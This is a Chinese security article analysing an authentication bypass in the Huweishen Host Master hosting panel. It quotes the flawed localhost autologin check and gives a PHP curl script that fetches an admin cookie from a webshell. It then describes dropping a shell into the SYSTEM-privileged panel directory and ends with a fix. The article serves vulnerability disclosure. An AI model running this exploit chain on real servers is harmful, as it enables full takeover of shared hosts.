专栏首页FreeBuf护卫神主机大师提权漏洞利用分析

护卫神主机大师提权漏洞利用分析

0x01 前言

护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。支持Windows Server 2008/2012。结合护卫神14年安全防护经验,严格限制每个站点独立权限,彻底阻挡跨站入侵。但这套系统真的像描述的那么安全么?,由于某次安全测试遇到该系统,遂对该系统进行分析。本文记录了分析过程中的一些记录和问题。

0x02 代码分析

先看看装好后的软件界面,可以看到一些常见的主机操作功能。其中网站管理引起了我的注意,点开瞅瞅

点开之后就直接进去了,WTF?

从逻辑流程来看这里很明显有问题,撸开代码看看怎么验证的。虚拟主机管理系统运行在6588端口。且采用asp语言开发。程序路径为x:\HwsHostMaster\host\web\下,且默认为system权限运行。

/admin/index.asp

<%Option Explicit%>
<!--#include file="../conn.asp"-->
<%
Dim strIp
strIp = Request.ServerVariables("local_addr")
Dim strAuto
strAuto = LCase(Trim(Request.QueryString("f")))
If (strIp = "::1" Or strIp = "127.0.0.1") And strAuto = "autologin"  Then
    '获取管理用户登录
    Dim sql,rs
    call conn_open()
    Set rs = Server.CreateObject("Adodb.Recordset")
    sql = "select top 1 * from [huweishen_Admin]"
    rs.Open sql,conn,1,1
    if rs.RecordCount = 0 then
        Session("admin")= "autologin"
    else
        Session("admin") = rs("username")
    end if
    rs.Close
    Session.Timeout =600
    AddLog Session("admin"), 1, "控制台直接登录管理中心"
    Response.Redirect "index.asp"
End If
%>

代码乍一看好像没啥问题,但是开发者疏忽了一个问题,第9行判断来源ip是否为本地访问,strIp变量来自Request.ServerVariables(“local_addr”) ,如果为本地访问且strAuto=autologin则直接登入系统,无需账号密码验证,这就出现一个问题了,开发者未考虑内部用户是否合法,如果我获取到一个低权限的webshell、那就相当于获取到一个本地身份了。那么我就可以直接访问到虚拟主机管理后台了。那么就可以为所欲为了。

0x03 利用方法

本漏洞利用前提是已经获取到虚拟主机上的一个webshell,其次在通过以下脚本获取cookie即可进入虚拟主机管理后台。

<?php
function httpGet() {
    $url = '[http://127.0.0.1:6588/admin/index.asp?f=autologin](http://127.0.0.1:6588/admin/index.asp?f=autologin)';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response header
    curl_setopt($ch, CURLOPT_NOBODY, TRUE); //表示需要response body
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 120);
    $result = curl_exec($ch);
    return $result;
}
echo httpGet();
?>

将该脚本上传至服务器,访问后即可获取到管理员cookie。在本地修改cookie后即可进入到虚拟主机管理后台。绕过登录限制。

0x04 GETSHELL

直接访问需要登录

通过脚本获取cookie

修改cookie后直接访问/admin/index.asp,进入后台

进入后台后点击网站列表,随便选择一个网站,点击解压进入操作界面,通过FTP或其他方式上传shell压缩包,然后输入文件名和解压路径,解压路径选择护卫神管理系统路径,一般为X:\HwsHostMaster\host\web\ X为任意盘符。

在我这里普通网站目录和护卫神管理系统都在D盘下,所以采用相对路径指向到虚拟主机管理系统web路径即可

点击解压以后,shell就躺在管理系统目录下了。并且为system权限。成功获取到高权身份

0x05 总结

该漏洞利用场景较为鸡肋,前提要求已经获取到该主机上的shell,才可采用该方法进行提权。开发者在开发过程中不要对内部不要过于信任,因为你也无法确保内部绝对的安全。

修复方案:

删除第三行到第三十行之间的代码即可。

*本文原创作者:Freedom,本文属FreeBuf原创奖励计划,未经许可禁止转载

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-06-16

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 如何使用HackRF做一个简单的IMSI捕获器

    关于IMSI IMSI为国际用户识别码(International Mobile Subscriber Identity)的缩写,是用于区分蜂窝网络中不同用户的...

    FB客服
  • 从Facebook、百度“隐私门”看企业对用户隐私保护的责任何在

    事件被曝光后,Facebook的用户们感到愤愤不平,在社交网络上甚至引发了一场#DeleteFacebook的运动,呼吁大家删除facebook账号。运动也受到...

    FB客服
  • 你的电脑适合挖矿还是感染恶意软件?由它来决定

    勒索软件可以锁定你的电脑,并通过对数据进行加密来阻止你访问自己电脑中的文件,直到你向攻击者支付赎金才行,而非法挖矿软件利用的是目标用户设备的CPU算力以及电能来...

    FB客服
  • 腾讯5G物联开发套件与实践案例

    欢迎关注公众帐号“鹅厂网事”,我们给你提供最新的行业动态信息、腾讯网络最接地气的干货分享。 注1:凡注明来自“鹅厂网事”的文字和图片等作品,版权均属于“深圳市...

    鹅厂网事
  • extjs 部署时动态切换上下文路径

    路过君
  • 蓝桥杯之全排列函数 next_permutation()解析

    这是一个求一个排序的下一个排列的函数,可以遍历全排列,要包含头文件 下面是以前的笔记 与之完全相反的函数还有prev_permutation

    用户4492257
  • 关于kubernetes垃圾回收那点事

    使用kubernetes的过程中,为了保持磁盘的空间在一个合理的使用率,kubele提供了垃圾回收机制,kubelet的垃圾回收机制分为镜像的回收和contai...

    聂小星
  • 完了!CPU一味求快出事儿了!

    我叫阿Q,是CPU一号车间里的员工,我所在的这个CPU足足有8个核,就有8个车间,干起活来杠杠滴。

    轩辕之风
  • 使用 TypeScript 改造构建工具及测试用例

    最近的一段时间一直在搞TypeScript,一个巨硬出品、赋予JavaScript语言静态类型和编译的语言。 第一个完全使用TypeScript重构的纯Node...

    贾顺名
  • memcached和redis的比较

    1 网络IO模型   Memcached是多线程,非阻塞IO复用的网络模型,分为监听主线程和worker子线程,监听线程监听网络连接,接受请求后,将连接描述字 ...

    wangxl

扫码关注云+社区

领取腾讯云代金券